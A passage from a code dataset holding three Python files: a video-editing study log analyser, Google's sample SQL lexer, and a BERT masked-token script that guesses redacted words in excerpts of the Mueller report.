self.tasks()\n        for task in tasks:\n            if task[\"projectMetadata\"][\"projectId\"] == task_id:\n                return task\n        return None\n\n    def get_all_intents(self):\n        return self.data.get(\"intents\", [])\n\n    def get_intent(self, intent_id):\n        all_intents = self.get_all_intents()\n        for intent in all_intents:\n            if intent[\"id\"] == intent_id:\n                return intent\n\n    def get_task_summary(self, task_id):\n        accepted_suggestion_ids = []\n        logs = self.logs()\n        for log in logs:\n            if log[\"msg\"] == \"timelineDecisionAccept\" and log[\"videoId\"] == self.video_id():\n                data = log[\"data\"]\n                if \"addedEdits\" in data:\n                    accepted_suggestion_ids.extend(data[\"addedEdits\"])\n\n        task = self.get_task(task_id)\n        intents = task[\"intents\"]\n        \n        count_intents = len(intents)\n        count_edits = 0\n        count_history_points = 0\n        count_edits_from_suggestion = 0\n        edit_types_count = {}\n\n        intents_data = []\n        for intent_id in intents:\n            intent = self.get_intent(intent_id)\n            intents_data.append({\n                \"intent_id\": intent_id,\n                \"edit_type\": intent[\"editOperationKey\"],\n                \"count_edits\": len(intent[\"activeEdits\"]),\n                \"history_points\": len(intent[\"history\"]),\n                \"count_suggestions\": len(intent[\"suggestedEdits\"]),\n            })\n            count_edits += len(intent[\"activeEdits\"])\n            count_history_points += len(intent[\"history\"]) - 1\n            \n            edits_from_suggested = []\n            for edit_id in intent[\"activeEdits\"]:\n                if edit_id in accepted_suggestion_ids:\n                    edits_from_suggested.append(edit_id)\n\n            count_edits_from_suggestion += len(edits_from_suggested)\n\n            edit_type = intent[\"editOperationKey\"]\n            if edit_type not in edit_types_count:\n                edit_types_count[edit_type] = {\n                    \"count_intents\": 0,\n                    \"count_edits\": 0,\n                    \"count_history_points\": 0,\n                    \"count_edits_from_suggestion\": 0,\n                    \"edit_type\": edit_type,\n                }\n            edit_types_count[edit_type][\"count_intents\"] += 1\n            edit_types_count[edit_type][\"count_edits\"] += len(intent[\"activeEdits\"])\n            edit_types_count[edit_type][\"count_history_points\"] += len(intent[\"history\"]) - 1\n            edit_types_count[edit_type][\"count_edits_from_suggestion\"] += len(edits_from_suggested)\n\n        return {\n            \"count_intents\": count_intents,\n            \"count_edits\": count_edits,\n            \"count_history_points\": count_history_points,\n            \"count_edits_from_suggestion\": count_edits_from_suggestion,\n            \"edit_types_count\": edit_types_count,\n            #\"intents\": intents_data,\n        }\n    \n    def get_edit_process(self, high_level = False):\n        logs = self.logs()\n        process = []\n        for log in logs:\n            if log[\"videoId\"] != self.video_id():\n                continue\n            process.append({\n                \"msg\": log[\"msg\"].strip(),\n                \"data\": log[\"data\"],\n                \"time\": log[\"time\"],\n            })\n        process.sort(key=lambda x: x[\"time\"])\n        \n        # combine the same logs near each other\n        for log in process:\n            found_edit_types = []\n            for edit_type in EDITING_PROCESS.keys():\n                if log[\"msg\"] in EDITING_PROCESS[edit_type]:\n                    found_edit_types.append(edit_type)\n            if len(found_edit_types) == 0:\n                log[\"msg\"] = \"unknown\"\n            else:\n                found_edit_type = \"\"\n                if len(found_edit_types) > 1:\n                    if \"suggested\" in log[\"data\"] and log[\"data\"][\"suggested\"] == True:\n                        found_edit_type = \"examine\"\n                    else:\n                        found_edit_type = \"manual\"\n                    #print(\"!!!\", log[\"msg\"], found_edit_types)\n                else:\n                    found_edit_type = found_edit_types[0]\n                if high_level:\n                    log[\"msg\"] = HIGH_LEVEL_PROCESS[found_edit_type]\n                else:\n                    log[\"msg\"] = found_edit_type\n        \n        # filter out anything or unknown\n        new_process = []\n        for log in process:\n            if log[\"msg\"] == \"anything\" or log[\"msg\"] == \"unknown\":\n               continue\n            new_process.append(log)\n        process = new_process\n\n        combined_process = []\n        for log in process:\n            if len(combined_process) == 0:\n                combined_process.append(log)\n                continue\n            last_log = combined_process[-1]\n            if last_log[\"msg\"] == log[\"msg\"]:\n                last_log[\"time\"] = log[\"time\"]\n            else:\n                combined_process.append(log)\n\n        # add duration\n        for log in combined_process:\n            log[\"duration\"] = 0\n        for i in range(1, len(combined_process)):\n            log = combined_process[i]\n            prev_log = combined_process[i - 1]\n            log[\"duration\"] = log[\"time\"] - prev_log[\"time\"]\n\n        formatted_process = []\n        for log in combined_process:\n            date = datetime.datetime.fromtimestamp(log[\"time\"] / 1000)\n            duration = datetime.datetime.fromtimestamp(log[\"duration\"] / 1000)\n            formatted_date = date.strftime(\"%H:%M:%S\")\n            formatted_duration = duration.strftime(\"%M:%S\")\n\n            formatted_process.append({\n                \"msg\": log[\"msg\"],\n                \"date\": formatted_date,\n                \"duration\": formatted_duration,\n                \"time\": log[\"time\"],\n            })\n        return formatted_process","repo_name":"fesiib/video-editing-pipeline","sub_path":"analysis/participant_data.py","file_name":"participant_data.py","file_ext":"py","file_size_in_byte":14122,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"21386313182","text":"from typing import List\n\n\nclass ParsingError(Exception):\n    pass\n\n\n# 'IF' isn't reserved... treat it as a normal internal function.\nRESERVED_WORDS = (['ALL', 'AND', 'ANY', 'ARRAY', 'AS', 'ASC',\n                   'ASSERT_ROWS_MODIFIED', 'AT', 'BETWEEN', 'BY', 'CASE',\n                   'CAST', 'COLLATE', 'CONTAINS', 'CREATE', 'CROSS',\n                   'CUBE', 'CURRENT', 'DEFAULT', 'DEFINE', 'DESC',\n                   'DISTINCT', 'ELSE', 'END', 'ENUM', 'ESCAPE', 'EXCEPT',\n                   'EXCLUDE', 'EXISTS', 'EXTRACT', 'FALSE', 'FETCH',\n                   'FOLLOWING', 'FOR', 'FROM', 'FULL', 'GROUP', 'GROUPING',\n                   'GROUPS', 'HASH', 'HAVING', 'IGNORE', 'IN', 'INNER',\n                   'INTERSECT', 'INTERVAL', 'INTO', 'IS', 'JOIN',\n                   'LATERAL', 'LEFT', 'LIKE', 'LIMIT', 'LOOKUP', 'MERGE',\n                   'NATURAL', 'NEW', 'NO', 'NOT', 'NULL', 'NULLS', 'OF',\n                   'ON', 'OR', 'ORDER', 'OUTER', 'OVER', 'PARTITION',\n                   'PRECEDING', 'PROTO', 'RANGE', 'RECURSIVE', 'RESPECT',\n                   'RIGHT', 'ROLLUP', 'ROWS', 'SELECT', 'SET', 'SOME',\n                   'STRUCT', 'TABLESAMPLE', 'THEN', 'TO', 'TREAT', 'TRUE',\n                   'UNBOUNDED', 'UNION', 'UNNEST', 'USING', 'WHEN', 'MINUS',\n                   'WHERE', 'WINDOW', 'WITH', 'WITHIN', 'QUALIFY', 'RECORDS'])\n\n\nclass SQLLexer:\n\n    def __init__(self, sql_str):\n        self._str = sql_str\n        self._pos = 0\n        self._comments = []\n\n        self.consume_all_space()\n\n    CONTEXT = 25\n\n    def error(self, msg):\n\n        # Find beginning and end of snippet.\n        pos = self._pos\n        linec = self._str[0:pos].count('\\n') + 1\n        line_start = 0\n        if linec > 1:\n            line_start = self._str[0:pos + 1].rindex('\\n') + 1\n\n        snippet_beg = int(max(line_start, pos - SQLLexer.CONTEXT))\n        try:\n            snippet_end = int(\n                min(self._str[line_start:].index('\\n') + line_start + 1,\n                    pos + SQLLexer.CONTEXT))\n        except ValueError:\n            snippet_end = int(min(len(self._str), pos + SQLLexer.CONTEXT))\n\n        # Raise exception\n        raise ParsingError('\\n'.join([\n            f'{msg} at [{linec}:{pos - line_start + 1}]',\n            f'Snippet: {self._str[snippet_beg:snippet_end]}',\n            f'         {\"-\" * (pos - snippet_beg)}^'\n        ]))\n\n    def get_comments(self) -> List[str]:\n        rcomments = self._comments\n        self._comments = []\n        return rcomments\n\n    def peek(self, elem):\n        \"\"\"Peek for an element.\n\n        Args:\n          elem: Element. If a string, an identifier is searched for. Otherwise\n              an operator.\n\n        Returns:\n          Returns True/False if the element is available to consume.\n        \"\"\"\n        if isinstance(elem, list):\n            rpos = self._pos\n            for el in elem:\n                if not self.peek(el):\n                    self._pos = rpos\n                    return False\n                self._pos += len(el)\n                self.consume_all_space()\n            self._pos = rpos\n            return True\n\n        # If elem does not start with an alpha character,\n        # just check if it matches the next available text\n        if not elem[0].isalpha():\n            return self._str[self._pos:self._pos + len(elem)] == elem\n\n        # If it *doesn't* match the upper case of next available next,\n        # then it doesn't match.\n        if self._str[self._pos:self._pos + len(elem)].upper() != elem:\n            return False\n\n        # If this is the end of the string, it's a match\n        if self._pos + len(elem) >= len(self._str):\n            return True\n\n        # Check the next character -- if it's not an alpha character,\n        # and not a digit or underscore then we have a match.\n        ch = self._str[self._pos + len(elem)]\n        if not ch.isalpha() and not ch.isdigit() and ch != '_':\n            return True\n\n        return False\n\n    def consume_any(self, elems):\n        \"\"\"Consume any of a list of elements.\n\n        Args:\n            elems: List of elements\n                See peek() for what is an element\n                Tested by consume(elem)\n\n        Returns:\n            Returns elem from elems that was consumed or None\n        \"\"\"\n        for e in elems:\n            if self.consume(e):\n                return e\n        return None\n\n    def consume(self, elem):\n        \"\"\"Consume for an element or list of elements.\n\n        Args:\n          elem(s): Element or list of elements.\n              See peek() for what is an element.\n              If a list, then all elements must be consumed to be satisfied.\n\n        Returns:\n          Returns True/False if the element(s) is/are available to consume.\n        \"\"\"\n        if isinstance(elem, list):\n            rpos = self._pos\n            for e in elem:\n                if not self.consume(e):\n                    self._pos = rpos\n                    return None\n            return elem\n\n        if self.peek(elem):\n            self._pos += len(elem)\n            self.consume_all_space()\n            return elem\n\n        return None\n\n    def expect(self, elem):\n        return (self.consume(elem) or\n                self.error('Expected \"' + elem + '\"'))\n\n    def expect_end(self):\n        if self._pos < len(self._str):\n            self.error('Expected end')\n\n    def consume_all_space(self):\n        \"\"\"Consume all space and comments.\n\n        Returns:\n          This moves the position forward to the next non-space non-comment.\n        \"\"\"\n        while self._pos < len(self._str):\n\n            if self._str[self._pos].isspace():\n                self._pos += 1\n                continue\n\n            # It's a SQL comment\n            if self._str[self._pos:self._pos + 2] == '--':\n                start = self._pos + 2\n                try:\n                    move = self._str[self._pos:].index('\\n')\n                except ValueError:\n                    move = len(self._str) - self._pos\n                self._comments.append(self._str[start:start + move - 2].strip())\n                self._pos += move\n                continue\n\n            # It's a hash comment\n            if self._str[self._pos] == '#':\n                try:\n                    move = self._str[self._pos:].index('\\n')\n                except ValueError:\n                    move = len(self._str) - self._pos\n                self._pos += move\n                continue\n\n            # It's a /* */ comment\n            if self._str[self._pos:self._pos + 2] == '/*':\n                start = self._pos + 2\n                while self._pos < len(self._str):\n                    if self._str[self._pos:self._pos + 2] == '*/':\n                        self._comments.append(\n                            self._str[start:self._pos].strip())\n                        self._pos += 2\n                        break\n                    self._pos += 1\n                continue\n\n            # Something else - stop now!\n            break\n\n    def consume_identifier(self):\n        \"\"\"Consume identifier.\n\n        Returns:\n          This returns an identifier (that's not reserved) or None if\n          one isn't available.\n        \"\"\"\n        if self._pos >= len(self._str):\n            return None\n\n        is_escaped = None\n        ch = self._str[self._pos]\n        if ch in ('`', '\"'):\n            is_escaped = ch\n\n        if not (is_escaped or\n                ch.isalpha() or\n                ch == ':' or\n                ch == '_'):\n            return None\n\n        pos = self._pos\n\n        if is_escaped:\n            pos += 1\n\n        v = []\n\n        if ch == ':':\n            v.append(ch)\n            pos += 1\n\n        while pos < len(self._str):\n            ch = self._str[pos]\n            if is_escaped:\n                if ch == is_escaped:\n                    break\n            else:\n                if not (ch.isalpha() or ch == '_' or ch.isdigit()):\n                    break\n            v.append(ch)\n            pos += 1\n\n        v = ''.join(v)\n        if v.upper() in RESERVED_WORDS:\n            return None\n\n        if is_escaped:\n            pos += 1\n\n        self._pos = pos\n\n        self.consume_all_space()\n\n        return v\n\n    def consume_number(self):\n        \"\"\"Consume number.\n\n        Returns:\n          This returns a number (float or integer) or None\n          if one isn't available.\n        \"\"\"\n        if self._pos == len(self._str):\n            return None\n\n        if not self._str[self._pos].isdigit():\n            return None\n\n        # Do the parsing itself.\n        pos = self._pos\n        is_frac = False\n        divisor = 1\n        num = 0\n        while pos < len(self._str):\n            ch = self._str[pos]\n            if ch.isdigit():\n                num *= 10\n                num += int(ch)\n                if is_frac:\n                    divisor *= 10\n            elif not is_frac and ch == '.':\n                is_frac = True\n            else:\n                break\n            pos += 1\n\n        # TODO(scannell) need 'e'\n\n        # TODO(scannell) This is awkward. Fix.\n        self._pos = pos\n        self.consume_all_space()\n\n        if is_frac:\n            return float(num) / divisor\n\n        return num\n\n    def consume_string(self):\n        \"\"\"Consume string.\n\n        Returns:\n          This returns a string or None if one isn't available.\n        \"\"\"\n        spos = self._pos\n        flag = None\n\n        if spos == len(self._str):\n            return None\n\n        if self._str[spos] == 'b' or self._str[spos] == 'r':\n            flag = self._str[spos]\n            spos += 1\n\n        if spos == len(self._str) or self._str[spos] not in ('\"', '\\''):\n            return None\n\n        if self._str[spos:spos + 3] == '\"\"\"':\n            quotechar = self._str[spos:spos + 3]\n        else:\n            quotechar = self._str[spos]\n\n        spos += len(quotechar)\n        epos = spos\n        while (epos < len(self._str) and\n               self._str[epos:epos + len(quotechar)] != quotechar):\n            epos += 1\n\n        if epos == len(self._str):\n            self.error('Expected string')\n\n        self._pos = epos + len(quotechar)\n\n        self.consume_all_space()\n\n        return (self._str[spos:epos], flag)\n","repo_name":"google/sample-sql-translator","sub_path":"sql_parser/lexer.py","file_name":"lexer.py","file_ext":"py","file_size_in_byte":10203,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"35"}
{"seq_id":"21598755933","text":"import sys\nimport os\nimport codecs\nimport re\nimport numpy as np\nimport pandas as pd\nfrom keras_bert import load_trained_model_from_checkpoint, Tokenizer\nfrom find_redactions import clean_dataframe, get_line_pairs, find_repeated_substring\n\nDATA_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), 'data')\n\nREDACTION_MARKERS = [\n    '[Harm to Ongoing Matter - Grand Jury]',\n    '[Harm to Ongoing Matter - Personal Privacy]',\n    '[Harm to Ongoing Matter]',\n    '[Personal Privacy - Grand Jury]',\n    '[Personal Privacy]',\n    '[HOM]',\n]\n\nREDACTION_MARKER = REDACTION_MARKERS[2]\nREDACTION_BERT_TOKEN = '[MASK]'\n\nUNZIPPED_MODEL_PATH = os.path.join(DATA_DIR, 'uncased_L-12_H-768_A-12')\n\nif len(sys.argv) == 2:\n    UNZIPPED_MODEL_PATH = sys.argv[1]\n\nUNZIPPED_MODEL_PATH = (\n    os.path.abspath(os.path.expanduser(os.environ.get('UNZIPPED_MODEL_PATH') or UNZIPPED_MODEL_PATH)))\n\nprint(f'UNZIPPED_MODEL_PATH: {UNZIPPED_MODEL_PATH}')\n\n\nBERT_MODEL_CASED = 'uncased' not in UNZIPPED_MODEL_PATH.lower()\n\nglobal P\nP = None\n\n\ndef get_unredacted_sentences(df='mueller-report-with-redactions-marked.csv',\n                             min_line_length=60, max_line_length=150):\n    df = clean_dataframe(df) if isinstance(df, str) else df\n    line_pairs = get_line_pairs(df, min_line_length=min_line_length, max_line_length=max_line_length)\n    print(pd.DataFrame(line_pairs, columns='text redacted_text'.split()).head())\n\n    for i, (text, redacted) in enumerate(line_pairs):\n        if len(re.findall(r'^[-:.0-9 \\t]{1,2}', text.strip())) > 0:\n            print(f'Skipping: {text[:30]}')\n            continue\n        print(f\"Redacting: {text[:30]}\")\n        print()\n\n\n# (TEXT, REDACTION_MARKER, PAGE_NUM, NUM_WORDS_IN_REDACTION)\nTEXTS = [\n    ('''\n    The presidential campaign of Donald J. Trump (\"Trump Campaign\" or \"Campaign\") showed\n    interest in WikiLeaks\\'s releases of documents and welcomed their potential to damage\n    candidate Clinton. Beginning in June 2016, [Harm to Ongoing Matter] forecast to senior\n    Campaign officials that WikiLeaks would release information damaging to candidate Clinton.\n    WikiLeaks\\'s first release came in July 2016. Around the same time, candidate Trump announced\n    that he hoped Russia would recover emails described as missing from a private server used by\n    linton when she was Secretary of State (he later said that he was speaking sarcastically).\n    ''', '[Harm to Ongoing Matter]', 5, 4),\n\n    ('''\n    On October 20, 2017, the Acting Attorney General confirmed in a memorandum the Special\n    Counsel's investigative authority as to several individuals and entities. First, as part of\n    a full and thorough investigation of the Russian government's efforts to interfere in the\n    2016 presidential election,\" the Special Counsel was authorized to investigate the pertinent\n    ctivities of Michael Cohen, Richard Gates, [Personal Privacy] , Roger Stone, and\n    ''', '[Personal Privacy]', 12, 2),\n\n    ('''By February 2016, internal IRA documents referred to support for the Trump Campaign\n    and opposition to candidate Clinton.49 For example, [Harm to Ongoing Matter] directions to\n    IRA operators\n    ''', '[Harm to Ongoing Matter]', 23, 5),\n\n    ('''The focus on the U.S. presidential campaign continued throughout 2016.\n    In [Harm to Ongoing Matter] 2016 internal [Harm to Ongoing Matter] reviewing the\n    IRA-controlled Facebook group \"Secured Borders,\"\n    ''', '[Harm to Ongoing Matter]', 23, 3),\n\n    ('''IRA employees frequently used Investigative Technique Twitter, Facebook, and Instagram\n    to contact and recruit U.S. persons who followed the group. The IRA recruited U.S. persons\n    from across the political spectrum. For example, the IRA targeted the family\n    of [Personal Privacy] and a number of black social justice activists\n    ''', '[Personal Privacy]', 31, 3),\n\n    ('''\n    A. GRU Hacking Directed at the Clinton Campaign 1. GRU Units Target the Clinton Campaign Two military units of the GRU\n    carried out the computer intrusions into the Clinton Campaign, DNC, and DCCC: Military Units 26165 and 74455.110\n    Military Unit 26165 is a GRU cyber unit dedicated to targeting military, political, governmental, and non-governmental\n    organizations outside of Russia, including in the United States.111 The unit was sub-divided into departments with\n    different specialties. One department, for example, developed specialized malicious software (\"malware\"), while another\n    department conducted large-scale spearphishing campaigns. 112 Investigative Technique a bitcoin mining operation\n    to 109 As discussed in Section V below, our Office charged 12 GRU officers for crimes arising from the hacking of these\n    computers, principally with conspiring to commit computer intrusions, in violation of 18 U.S.C. $$1030 and 371.\n    See Volume 1, Section V.B, infra; Indictment, United States v. Netyksho, No., [Investigative Technique] a bitcoin mining\n    operation to secure bitcoins used to purchase computer infrastructure used in hacking operations.\n    ''', \"[Investigative Technique]\", 36, 3),\n\n    ('''\n    Footnote: 113. Bitcoin mining consists of unlocking new bitcoins by solving computational problems. [IT] kept its\n    newly mined coins in an account on the bitcoin exchange platform CEX.io. To make purchases, the GRU routed funds\n    into other accounts through transactions designed to obscure the source of funds. Netyksho Indictment 62.\n    ''', '[IT]', 37, 2),\n\n    ('''\n    The first set of GRIU-controlled computers, known by the GRU as \"middle servers,\" sent and received messages to and\n    from malware on the DNC/DCCC networks. The middle servers, in turn, relayed messages to a second set of\n    GRU-controlled computers, labeled internally by the GRU as an \"AMS Panel.\" The AMS Panel [Investigative Technique]\n    served as a nerve center through which GRU officers monitored and directed the malware's operations on the\n    DNC/DCCC networks. 127 The AMS Panel used to control X-Agent during the DCCC and DNC intrusions was housed on a\n    leased computer located near IT Arizona.\n    ''', '[Investigative Technique]', 39, 3),\n\n    ('''Footnote: 140. See, e.g., Internet Archive, \"https://dcleaks.com/\" (archive date Nov. 10, 2016). Additionally,\n    DCLeaks released documents relating to [Personal Privacy] , emails belonging to [PP] , and emails from  2015 relating\n    to Republican Party employees (under the portfolio name \"The United States Republican Party\\').\n    \"The United States Republican Party\" portfolio contained approximately 300 emails from a variety of GOP members, PACs,\n    campaigns, state parties, and businesses dated between May and October 2015. According to open-source reporting,\n    these victims shared the same Tennessee-based web-hosting company, called Smartech Corporation.'\n    ''', '[Personal Privacy]', 41, 5),\n\n    ('''Footnote: 140. See, e.g., Internet Archive, \"https://dcleaks.com/\" (archive date Nov. 10, 2016). Additionally,\n    DCLeaks released documents relating to [PP], emails belonging to [Personal Privacy] , and emails from  2015 relating\n    to Republican Party employees (under the portfolio name \"The United States Republican Party\\').\n    \"The United States Republican Party\" portfolio contained approximately 300 emails from a variety of GOP members, PACs,\n    campaigns, state parties, and businesses dated between May and October 2015. According to open-source reporting,\n    these victims shared the same Tennessee-based web-hosting company, called Smartech Corporation.'\n    ''', '[Personal Privacy]', 41, 1),\n    ]\n\n# to manually generate plausible redaction unredactions:\n# df = clean_dataframe()\n\n# if len(sys.argv) != 4:\n#     print('USAGE: python load_model.py CONFIG_PATH CHECKPOINT_PATH DICT_PATH')\n#     print()\n#     sys.argv = [\n#         sys.argv[0],\n#         os.environ.get('CONFIG_PATH') or os.path.join(UNZIPPED_MODEL_PATH, 'bert_config.json'),\n#         os.environ.get('CHECKPOINT_PATH') or os.path.join(UNZIPPED_MODEL_PATH, 'bert_model.ckpt'),\n#         os.environ.get('DICT_PATH') or os.path.join(UNZIPPED_MODEL_PATH, 'vocab.txt')]\n#     SCRIPTNAME, CONFIG_PATH, CHECKPOINT_PATH, DICT_PATH = sys.argv\n#     print(f'CONFIG_PATH:     {CONFIG_PATH}')\n#     print(f'CHECKPOINT_PATH: {CHECKPOINT_PATH}')\n#     print(f'DICT_PATH:       {DICT_PATH}')\n\n# config_path, checkpoint_path, dict_path = tuple(sys.argv[1:])\n\n# model = load_trained_model_from_checkpoint(config_path, checkpoint_path, training=True)\n# model.summary(line_length=120)\n\n# token_dict = {}\n# with codecs.open(dict_path, 'r', 'utf8') as reader:\n#     for line in reader:\n#         token = line.strip()\n#         token_dict[token] = len(token_dict)\n# token_dict_rev = {v: k for k, v in token_dict.items()}\n\n# tokenizer = Tokenizer(token_dict)\n\n\nclass NLPPipeline(dict):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        for k, v in self.items():\n            setattr(self, k, v)\n\n\ndef load_pipeline(UNZIPPED_MODEL_PATH=UNZIPPED_MODEL_PATH, cased=BERT_MODEL_CASED):\n    if len(sys.argv) != 4:\n        print('python load_model.py CONFIG_PATH CHECKPOINT_PATH DICT_PATH')\n        print('CONFIG_PATH:     $UNZIPPED_MODEL_PATH/bert_config.json')\n        print('CHECKPOINT_PATH: $UNZIPPED_MODEL_PATH/bert_model.ckpt')\n        print('DICT_PATH:       $UNZIPPED_MODEL_PATH/vocab.txt')\n        sys.argv = [\n            sys.argv[0],\n            os.path.abspath(os.environ.get('CONFIG_PATH') or os.path.join(UNZIPPED_MODEL_PATH, 'bert_config.json')),\n            os.path.abspath(os.environ.get('CHECKPOINT_PATH') or os.path.join(UNZIPPED_MODEL_PATH, 'bert_model.ckpt')),\n            os.path.abspath(os.environ.get('DICT_PATH') or os.path.join(UNZIPPED_MODEL_PATH, 'vocab.txt')),\n        ]\n\n    print(sys.argv)\n    if not all([os.path.exists(p) for p in sys.argv[1:4]]):\n        print(\"You must specify the path where you've downloaded the pretrained BERT model in $UNZIPPED_MODEL_PATH or on the commandline.\")\n\n    config_path, checkpoint_path, dict_path = tuple(sys.argv[1:])\n\n    model = load_trained_model_from_checkpoint(config_path, checkpoint_path, training=True)\n    model.summary(line_length=120)\n\n    token_dict = {}\n    with codecs.open(dict_path, 'r', 'utf8') as reader:\n        for line in reader:\n            token = line.strip()\n            token_dict[token] = len(token_dict)\n    token_dict_rev = {v: k for k, v in token_dict.items()}\n    if cased:\n        print('***************CASED TOKENIZER*******************')\n    else:\n        print('***************uncased tokenizer*******************')\n    tokenizer = Tokenizer(token_dict, cased=cased)\n\n    return NLPPipeline(model=model, token_dict=token_dict, token_dict_rev=token_dict_rev, tokenizer=tokenizer)\n\n\ndef find_first_hom_tokens(df, text=None, substring='of documents and', marker='[Personal Privacy]'):\n    global P\n    P = P or load_pipeline()\n    if not text:\n        df = clean_dataframe(df) if isinstance(df, str) else df\n        for t in df.text:\n            if substring in t:\n                text = t\n                break\n    # print(f'TEXT: {text}')\n    tokens = P.tokenizer.tokenize(text)\n    joined_tokens = ' '.join(tokens)\n    # print(f'joined_tokens: {joined_tokens}')\n    hom = ' '.join(P.tokenizer.tokenize(marker)[1:-1])\n    # print(f'joined_hom: {hom}')\n    hom_start = joined_tokens.find(hom)\n    hom_stop = hom_start + len(hom)\n    # print(f'hom_start: {hom_start}, hom_stop: {hom_stop}')\n    prefix_tokens = joined_tokens[:hom_start].split()\n    suffix_tokens = joined_tokens[hom_stop:].split()\n    # print(f'HOM prefix_tokens: {prefix_tokens}\\nHOM suffix_tokens: {suffix_tokens}')\n\n    return prefix_tokens, suffix_tokens\n\n\nsentences = [\n    'The IRA later used social media accounts and interest groups to sow discord in the U.S. political system through what it termed \"information warfare.\"',\n    ('The campaign evolved from a generalized program designed in 2014 and 2015 to undermine the U.S. electoral system,' +\n        'to a targeted operation that by early 2016 favored candidate Trump and disparaged candidate Clinton.'),\n    ('The IRA\\'s operation also included the purchase of political advertisements on social media in the names of U.S. persons and entities,' +\n        'as well as the staging of political rallies inside the United States.'),\n    ('To organize those rallies, IRA employees posed as U.S. grassroots entities and persons and made contact' +\n        ' with Trump supporters and Trump Campaign officials in the United States.'),\n    ]\n\n\nMASK_TOKEN = '[MASK]'\n\n\ndef unredact_tokens(prefix_tokens=[], suffix_tokens=[], num_redactions=5):\n    global P\n    if not P:\n        P = load_pipeline()\n    tokens = list(prefix_tokens) + [MASK_TOKEN] * num_redactions + list(suffix_tokens)\n    tokens = tokens[:512]\n    tokens_original = tokens.copy()\n    # text = ' '.join(tokens)\n    # print(f\"Predicting {num_redactions} MASK tokens in: {' '.join(tokens)}\")\n\n    indices = np.asarray([[P.token_dict[token] for token in tokens] + [0] * (512 - len(tokens))])\n    segments = np.asarray([[0] * len(tokens) + [0] * (512 - len(tokens))])\n    masks = np.asarray([[0] * 512])\n    redactions = []\n    for i, t in enumerate(tokens):\n        if t == MASK_TOKEN:\n            redactions.append(i - 1)\n            masks[0][i] = 1\n\n    # masks = np.asarray([[0, 1, 1] + [0] * (512 - 3)])\n\n    predicts = P.model.predict([indices, segments, masks])[0]\n    predicts = np.argmax(predicts, axis=-1)\n    predictions_parameterized = list(\n        map(lambda x: P.token_dict_rev[x],\n            [x for (j, x) in enumerate(predicts[0]) if j - 1 in redactions])\n        )\n    # predictions_hardcoded = list(map(lambda x: token_dict_rev[x], predicts[0][3:5]))\n    print(f'Predictions: {predictions_parameterized}')\n\n    # print(f'Hardcoded fill with: {predictions_hardcoded}')\n    # list(map(lambda x: token_dict_rev[x], predicts[0][1:3]))\n    print(f'.    Actual: {[t for (i, t) in enumerate(tokens_original) if i - 1 in redactions]}')\n    print()\n    print()\n    # if len(predictions) > 10:\n    #     break\n    return (predictions_parameterized, tokens)\n\n\ndef unredact_text(text, redactions=[2, 3]):\n    print(f\"Redacting tokens {redactions} in: {text}\")\n    global P\n    P = P or load_pipeline()\n\n    tokens = P.tokenizer.tokenize(text)\n    tokens_original = tokens.copy()\n    for r in redactions:\n        tokens[r + 1] = MASK_TOKEN\n\n    # print(f'Tokens: {tokens}')\n\n    indices = np.asarray([[P.token_dict[token] for token in tokens] + [0] * (512 - len(tokens))])\n    segments = np.asarray([[0] * len(tokens) + [0] * (512 - len(tokens))])\n    masks = np.asarray([[0] * 512])\n    for r in redactions:\n        masks[0][r + 1] = 1\n    # masks = np.asarray([[0, 1, 1] + [0] * (512 - 3)])\n\n    predicts = P.model.predict([indices, segments, masks])[0]\n    predicts = np.argmax(predicts, axis=-1)\n    predictions_parameterized = list(\n        map(lambda x: P.token_dict_rev[x],\n            [x for (j, x) in enumerate(predicts[0]) if j - 1 in redactions])\n        )\n    # predictions_hardcoded = list(map(lambda x: token_dict_rev[x], predicts[0][3:5]))\n    print(f'Predictions: {\" \".join(predictions_parameterized)}')\n\n    # print(f'Hardcoded fill with: {predictions_hardcoded}')\n    # list(map(lambda x: token_dict_rev[x], predicts[0][1:3]))\n    print(f'.    Actual: {[t for (i, t) in enumerate(tokens_original) if i - 1 in redactions]}')\n    print()\n    print()\n    # if len(predictions) > 10:\n    #     break\n    return (predictions_parameterized, text)\n\n\ndef unredact_examples(examples=TEXTS):\n    for text, marker, page, num_redactions in examples:\n        print('\\n\\n****************************')\n        prefix_tokens, suffix_tokens = find_first_hom_tokens(df=None, text=text, marker=marker)\n        print(f'page: {page}\\nnum_words: {num_redactions}\\nprefix_tokens: {prefix_tokens}\\nsuffix_tokens: {suffix_tokens}')\n        print(unredact_tokens(prefix_tokens=prefix_tokens, suffix_tokens=suffix_tokens, num_redactions=num_redactions))\n        print('\\n\\n****************************')\n\n    predictions = []\n    for sentnum, text in enumerate(sentences):\n        print(sentnum)\n        predictions.append(unredact_text(text))\n\n\ndef unredact_interactively():\n    global P\n    if not P:\n        P = load_pipeline()\n    unredacted = ' '\n    while unredacted:\n        text = input('Text: ')\n        marker = input('Redaction marker: ')\n        marker = marker or 'unk'\n        redactions = find_repeated_substring(text, substring=marker)\n        if not redactions:\n            print('No redactions found')\n            unredacted = text\n            continue\n        # print(redactions)\n        start, stop = redactions[0], redactions[-1] + len(marker)\n        prefix, suffix = text[:start], text[stop:]\n        # print(start, stop)\n        # print(f'prefix: {prefix}')\n        # print(f'suffix: {suffix}')\n        prefix_tokens = P.tokenizer.tokenize(prefix)[:-1]\n        suffix_tokens = P.tokenizer.tokenize(suffix)[1:]\n        # print(f'prefix_tokens: {prefix_tokens}')\n        # print(f'suffix_tokens: {suffix_tokens}')\n        unredacted_tokens, all_tokens = unredact_tokens(prefix_tokens=prefix_tokens, suffix_tokens=suffix_tokens, num_redactions=len(redactions))\n        print(f'all_tokens: {all_tokens}')\n        print(f'unredacted_tokens: {unredacted_tokens}')\n        j = 0\n        for (i, tok) in enumerate(all_tokens):\n            if tok == '[MASK]' and j < len(unredacted_tokens):\n                all_tokens[i] = unredacted_tokens[j]\n                j += 1\n\n        unredacted = ' '.join(all_tokens)\n        # unredacted = ' '.join([t[2:] if t.startswith('##') else t for t in unredacted_tokens])\n        print(f'Unredacted text: {unredacted}')\n\n\nif __name__ == '__main__':\n    unredact_interactively()\n\n# sentence_1 = text\n# sentence_2 = 'Joseph Conrad said \"We live as we dream, alone.\" '\n# print('Tokens:', tokenizer.tokenize(first=sentence_1, second=sentence_2))\n# indices, segments = tokenizer.encode(first=sentence_1, second=sentence_2, max_len=512)\n# masks = 